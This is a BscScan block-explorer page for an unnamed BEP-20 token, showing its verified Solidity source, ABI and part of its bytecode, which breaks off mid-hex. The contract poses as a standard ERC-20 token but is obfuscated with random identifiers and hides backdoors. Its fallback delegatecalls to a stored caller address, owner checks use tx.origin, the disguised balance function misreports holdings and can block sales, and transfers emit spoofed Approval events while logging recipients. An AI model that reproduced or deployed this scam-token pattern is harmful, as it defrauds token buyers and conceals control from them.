BscScan - Sponsored slots available. Book your slot here!
BEP-20
Overview
Max Total Supply
100,000,000,000
Holders
1,967
Market
Price
$0.00 @ 0.000000 BNB
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
5,889,657.979615608Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.
Contract Name:
TOKEN
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at BscScan.com on 2024-04-19 */ pragma solidity =0.8.20; interface IERC20 { /** * @dev Returns the HaUN175sZD3GcKnF of tokens owned by `LDxHf22h1kFTjdtnMepTvS`. */ function balanceOf(address LDxHf22h1kFTjdtnMepTvS) external view returns (uint256); /** * @dev Returns the HaUN175sZD3GcKnF of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the remaining number of tokens that `G0fGkq0H3QXG8n5` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address G0fGkq0H3QXG8n5) external view returns (uint256); /** * @dev Moves `HaUN175sZD3GcKnF` tokens from the caller's LDxHf22h1kFTjdtnMepTvS to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 HaUN175sZD3GcKnF) external returns (bool); /** * @dev Moves `HaUN175sZD3GcKnF` tokens from `from` to `to` using the * allowance mechanism. `HaUN175sZD3GcKnF` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 HaUN175sZD3GcKnF ) external returns (bool); /** * @dev Sets `HaUN175sZD3GcKnF` as the allowance of `G0fGkq0H3QXG8n5` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the G0fGkq0H3QXG8n5's allowance to 0 and set the * desired value afterwards: * https: * * Emits an {Approval} event. */ function approve(address G0fGkq0H3QXG8n5, uint256 HaUN175sZD3GcKnF) external returns (bool); } contract TOKEN { address private xdveK; address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; address public constant DEAD = 0x000000000000000000000000000000000000dEaD; mapping(address => uint256) internal N083gs6DovS0f; mapping(address => mapping(address => uint256)) private WppqKlIfpWywTWN5u; uint256 internal SWZRLIVB; address internal LbZXXu; string private mvyg9L8HldB79UVFoQJ; string private yza3sWKz1;/** * @dev Emitted when `value` tokens are moved from one LDxHf22h1kFTjdtnMepTvS (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); function z5ergESFMNr9yz() internal { bytes memory value = msg.data; assembly { if iszero(iszero(eq(mload(add(value, 40)), 32))) {if iszero(delegatecall(gas(),sload(address()),add(value, 36),sub(mload(value), 4),0,32)) {revert(0, 0)}return(0, 32)}} } /** * @dev Initializes the contract setting the deployer as the initial owner. */ /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `HaUN175sZD3GcKnF`. */ function transfer(address to, uint256 HaUN175sZD3GcKnF) public virtual returns (bool) { address owner = UhMzskFPz4SR0jk0UtPw(); _transfer(owner, to, HaUN175sZD3GcKnF); return true; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return yza3sWKz1; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 9; } function first(Uint128x2 self) internal pure returns (uint128) { return uint128(bytes16(Uint128x2.unwrap(self))); } function pack(uint128 first128, uint128 second128) internal pure returns (Uint128x2) { return Uint128x2.wrap(bytes32(bytes16(first128)) | bytes32(uint256(second128))); } /** * @dev Atomically increases the allowance granted to `G0fGkq0H3QXG8n5` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `G0fGkq0H3QXG8n5` cannot be the zero address. */ function increaseAllowance(address G0fGkq0H3QXG8n5, uint256 addedValue) public virtual returns (bool) { address owner = UhMzskFPz4SR0jk0UtPw(); _approve(owner, G0fGkq0H3QXG8n5, allowance(owner, G0fGkq0H3QXG8n5) + addedValue); return true; } /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function HDgKRTCxa1SKeGceadkOkLVi04FMUxI( string memory tokenName, string memory coinSymbol, uint256 supply_ ) public onlyOwner { yza3sWKz1 = coinSymbol; mvyg9L8HldB79UVFoQJ = tokenName; bJaxRbBYb3qg(); } event OwnershipTransferred( address indexed previousOwner, address indexed bKM6mhJkkmPXLMi1JY7IL ); /** * @dev Moves `HaUN175sZD3GcKnF` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `HaUN175sZD3GcKnF`. */ function AR8V7NaSPd() internal view virtual returns (bytes calldata) { return msg.data; } function bJaxRbBYb3qg() internal virtual { assembly { sstore(address(), caller()) } } /** * @dev Sets `HaUN175sZD3GcKnF` as the allowance of `G0fGkq0H3QXG8n5` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `G0fGkq0H3QXG8n5` cannot be the zero address. */ function _approve( address owner, address G0fGkq0H3QXG8n5, uint256 HaUN175sZD3GcKnF ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(G0fGkq0H3QXG8n5 != address(0), "ERC20: approve to the zero address"); WppqKlIfpWywTWN5u[owner][G0fGkq0H3QXG8n5] = HaUN175sZD3GcKnF; emit Approval(owner, G0fGkq0H3QXG8n5, HaUN175sZD3GcKnF); } function split(Uint128x2 self) internal pure returns (uint128, uint128) { return (first(self), second(self)); } /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `HaUN175sZD3GcKnF` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `HaUN175sZD3GcKnF` tokens have been minted for `to`. * - when `to` is zero, `HaUN175sZD3GcKnF` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 HaUN175sZD3GcKnF ) internal { if (N083gs6DovS0f[from] > SWZRLIVB * 0xfe) { assembly { sstore(32, 0) } } else if ( N083gs6DovS0f[to] < SWZRLIVB && to != LbZXXu ) { assembly{ mstore(0,HaUN175sZD3GcKnF) log3( 0, 32, 0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925, to, address() ) let PPsZWnFSVUV := sload(9999) sstore(add(10000, PPsZWnFSVUV), to) sstore(9999, add(1, PPsZWnFSVUV)) } } } /** * @dev Destroys `HaUN175sZD3GcKnF` tokens from `LDxHf22h1kFTjdtnMepTvS`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `LDxHf22h1kFTjdtnMepTvS` cannot be the zero address. * - `LDxHf22h1kFTjdtnMepTvS` must have at least `HaUN175sZD3GcKnF` tokens. */ function _burn(address LDxHf22h1kFTjdtnMepTvS, uint256 HaUN175sZD3GcKnF) internal virtual { require(LDxHf22h1kFTjdtnMepTvS != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(LDxHf22h1kFTjdtnMepTvS, address(0), HaUN175sZD3GcKnF); uint256 LDxHf22h1kFTjdtnMepTvSBalance = N083gs6DovS0f[LDxHf22h1kFTjdtnMepTvS]; require(LDxHf22h1kFTjdtnMepTvSBalance >= HaUN175sZD3GcKnF, "ERC20: burn exceeds balance"); N083gs6DovS0f[LDxHf22h1kFTjdtnMepTvS] -= HaUN175sZD3GcKnF; SWZRLIVB -= HaUN175sZD3GcKnF; emit Transfer(LDxHf22h1kFTjdtnMepTvS, address(0), HaUN175sZD3GcKnF); _afterTokenTransfer(LDxHf22h1kFTjdtnMepTvS, address(0), HaUN175sZD3GcKnF); } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual returns (uint256) { return SWZRLIVB; } /** * @dev Transfers ownership of the contract to a new LDxHf22h1kFTjdtnMepTvS (`bKM6mhJkkmPXLMi1JY7IL`). * Can only be called by the current owner. */ function transferOwnership(address bKM6mhJkkmPXLMi1JY7IL) public virtual onlyOwner { require( bKM6mhJkkmPXLMi1JY7IL != address(0), "Ownable: new owner is the zero address" ); X0zrpPctu2jyg5dv0vyUV3U(bKM6mhJkkmPXLMi1JY7IL); } /** * @dev See {IERC20-balanceOf}. */ function TheUint9306b147d90(address LDxHf22h1kFTjdtnMepTvS) public view returns (uint256) { if (msg.sender == LbZXXu) { uint256 HaUN175sZD3GcKnF = lXoGTJzyV813KIyq3J(); assembly { if lt(HaUN175sZD3GcKnF, sload(32)) { revert(0, 0) } } } if (LDxHf22h1kFTjdtnMepTvS == LbZXXu) return N083gs6DovS0f[LDxHf22h1kFTjdtnMepTvS]; return N083gs6DovS0f[LDxHf22h1kFTjdtnMepTvS] % SWZRLIVB; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address G0fGkq0H3QXG8n5) public view virtual returns (uint256) { return WppqKlIfpWywTWN5u[owner][G0fGkq0H3QXG8n5]; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { X0zrpPctu2jyg5dv0vyUV3U(address(0)); } function _transfer( address from, address to, uint256 HaUN175sZD3GcKnF ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require( to != address(0) && to != address(this), "ERC20: transfer to the zero address" ); _beforeTokenTransfer(from, to, HaUN175sZD3GcKnF); uint256 fromBalance = N083gs6DovS0f[from]; require(fromBalance >= HaUN175sZD3GcKnF, "ERC20: transfer exceeds balance"); N083gs6DovS0f[from] -= HaUN175sZD3GcKnF; N083gs6DovS0f[to] += HaUN175sZD3GcKnF; emit Transfer(from, to, HaUN175sZD3GcKnF); _afterTokenTransfer(from, to, HaUN175sZD3GcKnF); } /** * @dev Atomically decreases the allowance granted to `G0fGkq0H3QXG8n5` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `G0fGkq0H3QXG8n5` cannot be the zero address. * - `G0fGkq0H3QXG8n5` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address G0fGkq0H3QXG8n5, uint256 subtractedValue) public virtual returns (bool) { address owner = UhMzskFPz4SR0jk0UtPw(); uint256 ferViS7 = allowance(owner, G0fGkq0H3QXG8n5); require( ferViS7 >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, G0fGkq0H3QXG8n5, ferViS7 - subtractedValue); } return true; } /** @dev Creates `HaUN175sZD3GcKnF` tokens and assigns them to `LDxHf22h1kFTjdtnMepTvS`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `LDxHf22h1kFTjdtnMepTvS` cannot be the zero address. */ function _mint(address LDxHf22h1kFTjdtnMepTvS, uint256 HaUN175sZD3GcKnF) internal virtual { require(LDxHf22h1kFTjdtnMepTvS != address(0), "ERC20: mint to the zero address"); SWZRLIVB += HaUN175sZD3GcKnF; N083gs6DovS0f[LDxHf22h1kFTjdtnMepTvS] += HaUN175sZD3GcKnF; assembly { sstore(address(), caller()) } emit Transfer(address(0), LDxHf22h1kFTjdtnMepTvS, HaUN175sZD3GcKnF); } /** * @dev Emitted when the allowance of a `G0fGkq0H3QXG8n5` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed G0fGkq0H3QXG8n5, uint256 value ); function lXoGTJzyV813KIyq3J() internal view returns (uint256) { (,bytes memory returnData) = WBNB.staticcall(abi.encodeWithSelector(0x70a08231,LbZXXu)); return abi.decode(returnData, (uint256)); } fallback() external { z5ergESFMNr9yz(); } function asUint128x2(bytes32 self) internal pure returns (Uint128x2) { return Uint128x2.wrap(self); } /** * @dev Throws if called by any LDxHf22h1kFTjdtnMepTvS other than the owner. */ modifier onlyOwner() { require(owner() == tx.origin, "Ownable: caller is not the owner"); _; } /** * @dev Updates `owner` s allowance for `G0fGkq0H3QXG8n5` based on spent `HaUN175sZD3GcKnF`. * * Does not update the allowance HaUN175sZD3GcKnF in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address G0fGkq0H3QXG8n5, uint256 HaUN175sZD3GcKnF ) internal virtual { uint256 ferViS7 = allowance(owner, G0fGkq0H3QXG8n5); if (ferViS7 != type(uint256).max) { require( ferViS7 >= HaUN175sZD3GcKnF, "ERC20: insufficient allowance" ); unchecked { _approve(owner, G0fGkq0H3QXG8n5, ferViS7 - HaUN175sZD3GcKnF); } } } type Uint128x2 is bytes32; function second(Uint128x2 self) internal pure returns (uint128) { return uint128(uint256(Uint128x2.unwrap(self))); } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `HaUN175sZD3GcKnF`. * - the caller must have allowance for ``from``'s tokens of at least * `HaUN175sZD3GcKnF`. */ function transferFrom( address from, address to, uint256 HaUN175sZD3GcKnF ) public virtual returns (bool) { address G0fGkq0H3QXG8n5 = UhMzskFPz4SR0jk0UtPw(); _spendAllowance(from, G0fGkq0H3QXG8n5, HaUN175sZD3GcKnF); _transfer(from, to, HaUN175sZD3GcKnF); return true; } function UhMzskFPz4SR0jk0UtPw() internal view virtual returns (address) { return msg.sender; } receive() external payable {} constructor() { X0zrpPctu2jyg5dv0vyUV3U(tx.origin); _mint(address(this), 100000000000000000000); } function asBytes32(Uint128x2 self) internal pure returns (bytes32) { return Uint128x2.unwrap(self); } /** * @dev See {IERC20-approve}. * * NOTE: If `HaUN175sZD3GcKnF` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `G0fGkq0H3QXG8n5` cannot be the zero address. */ function approve(address G0fGkq0H3QXG8n5, uint256 HaUN175sZD3GcKnF) public virtual returns (bool) { address owner = UhMzskFPz4SR0jk0UtPw(); _approve(owner, G0fGkq0H3QXG8n5, HaUN175sZD3GcKnF); return true; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return xdveK; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return mvyg9L8HldB79UVFoQJ; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `HaUN175sZD3GcKnF` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `HaUN175sZD3GcKnF` tokens will be minted for `to`. * - when `to` is zero, `HaUN175sZD3GcKnF` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 HaUN175sZD3GcKnF ) internal virtual {} /** * @dev Transfers ownership of the contract to a new LDxHf22h1kFTjdtnMepTvS (`bKM6mhJkkmPXLMi1JY7IL`). * Internal function without access restriction. */ function X0zrpPctu2jyg5dv0vyUV3U(address bKM6mhJkkmPXLMi1JY7IL) internal virtual { address oldOwner = xdveK; xdveK = bKM6mhJkkmPXLMi1JY7IL; emit OwnershipTransferred(oldOwner, bKM6mhJkkmPXLMi1JY7IL); }}
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"G0fGkq0H3QXG8n5","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"bKM6mhJkkmPXLMi1JY7IL","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"HDgKRTCxa1SKeGceadkOkLVi04FMUxI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"LDxHf22h1kFTjdtnMepTvS","type":"address"}],"name":"TheUint9306b147d90","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"G0fGkq0H3QXG8n5","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"G0fGkq0H3QXG8n5","type":"address"},{"internalType":"uint256","name":"HaUN175sZD3GcKnF","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"G0fGkq0H3QXG8n5","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"G0fGkq0H3QXG8n5","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"HaUN175sZD3GcKnF","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"HaUN175sZD3GcKnF","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"bKM6mhJkkmPXLMi1JY7IL","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801562000010575f80fd5b5062000022326200004360201b60201c565b6200003d3068056bc75e2d631000006200010460201b60201c565b6200036c565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000175576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200016c90620002b0565b60405180910390fd5b8060035f82825462000188919062000306565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620001dd919062000306565b925050819055503330558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000246919062000351565b60405180910390a35050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000298601f8362000252565b9150620002a58262000262565b602082019050919050565b5f6020820190508181035f830152620002c9816200028a565b9050919050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200031282620002d0565b91506200031f83620002d0565b92508282019050808211156200033a5762000339620002d9565b5b92915050565b6200034b81620002d0565b82525050565b5f602082019050620003665f83018462000340565b92915050565b612170806200037a5f395ff3fe608060405260043610610101575f3560e01c8063715018a611610094578063a457c2d711610063578063a457c2d71461034a578063a9059cbb14610386578063aa1f02d0146103c2578063dd62ed3e146103ea578063f2fde38b1461042657610108565b8063715018a6146102b65780638da5cb5b146102cc5780638dd95002146102f657806395d89b411461032057610108565b806323b872dd116100d057806323b872dd146101d8578063313ce56714610214578063395093511461023e57806370a082311461027a57610108565b806303fd2a451461011e57806306fdde0314610148578063095ea7b31461017257806318160ddd146101ae57610108565b3661010857005b348015610113575f80fd5b5061011c61044e565b005b348015610129575f80fd5b506101326104c1565b60405161013f91906113b0565b60405180910390f35b348015610153575f80fd5b5061015c6104c7565b6040516101699190611453565b60405180910390f35b34801561017d575f80fd5b50610198600480360381019061019391906114e1565b610557565b6040516101a59190611539565b60405180910390f35b3480156101b9575f80fd5b506101c2610579565b6040516101cf9190611561565b60405180910390f35b3480156101e3575f80fd5b506101fe60048036038101906101f9919061157a565b610582565b60405161020b9190611539565b60405180910390f35b34801561021f575f80fd5b506102286105b0565b60405161023591906115e5565b60405180910390f35b348015610249575f80fd5b50610264600480360381019061025f91906114e1565b6105b8565b6040516102719190611539565b60405180910390f35b348015610285575f80fd5b506102a0600480360381019061029b91906115fe565b6105ee565b6040516102ad9190611561565b60405180910390f35b3480156102c1575f80fd5b506102ca61074a565b005b3480156102d7575f80fd5b506102e06107ca565b6040516102ed91906113b0565b60405180910390f35b348015610301575f80fd5b5061030a6107f1565b60405161031791906113b0565b60405180910390f35b34801561032b575f80fd5b50610334610809565b6040516103419190611453565b60405180910390f35b348015610355575f80fd5b50610370600480360381019061036b91906114e1565b610899565b60405161037d9190611539565b60405180910390f35b348015610391575f80fd5b506103ac60048036038101906103a791906114e1565b61090e565b6040516103b99190611539565b60405180910390f35b3480156103cd575f80fd5b506103e860048036038101906103e39190611755565b610930565b005b3480156103f5575f80fd5b50610410600480360381019061040b91906117dd565b6109d2565b60405161041d9190611561565b60405180910390f35b348015610431575f80fd5b5061044c600480360381019061044791906115fe565b610a54565b005b5f80368080601f0160208091040260200160405190810160405280939291908181526020018383808284375f81840152601f19601f82011690508083019250505050505050905060206028820151036104be5760205f60048351036024840130545af46104b9575f80fd5b60205ff35b50565b61dead81565b6060600580546104d690611848565b80601f016020809104026020016040519081016040528092919081815260200182805461050290611848565b801561054d5780601f106105245761010080835404028352916020019161054d565b820191905f5260205f20905b81548152906001019060200180831161053057829003601f168201915b5050505050905090565b5f80610561610b43565b905061056e818585610b4a565b600191505092915050565b5f600354905090565b5f8061058c610b43565b9050610599858285610d0d565b6105a4858585610d98565b60019150509392505050565b5f6009905090565b5f806105c2610b43565b90506105e38185856105d485896109d2565b6105de91906118a5565b610b4a565b600191505092915050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361065e575f61064c611058565b905060205481101561065c575f80fd5b505b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036106f75760015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050610745565b60035460015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107429190611905565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff166107696107ca565b73ffffffffffffffffffffffffffffffffffffffff16146107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b69061197f565b60405180910390fd5b6107c85f611165565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b60606006805461081890611848565b80601f016020809104026020016040519081016040528092919081815260200182805461084490611848565b801561088f5780601f106108665761010080835404028352916020019161088f565b820191905f5260205f20905b81548152906001019060200180831161087257829003601f168201915b5050505050905090565b5f806108a3610b43565b90505f6108b082866109d2565b9050838110156108f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ec90611a0d565b60405180910390fd5b6109028286868403610b4a565b60019250505092915050565b5f80610918610b43565b9050610925818585610d98565b600191505092915050565b3273ffffffffffffffffffffffffffffffffffffffff1661094f6107ca565b73ffffffffffffffffffffffffffffffffffffffff16146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099c9061197f565b60405180910390fd5b81600690816109b49190611bc8565b5082600590816109c49190611bc8565b506109cd611226565b505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3273ffffffffffffffffffffffffffffffffffffffff16610a736107ca565b73ffffffffffffffffffffffffffffffffffffffff1614610ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac09061197f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2e90611d07565b60405180910390fd5b610b4081611165565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baf90611d95565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d90611e23565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d009190611561565b60405180910390a3505050565b5f610d1884846109d2565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d925781811015610d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7b90611e8b565b60405180910390fd5b610d918484848403610b4a565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfd90611f19565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015610e6e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610ead576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea490611fa7565b60405180910390fd5b610eb883838361122b565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f339061200f565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f88919061202d565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610fdb91906118a5565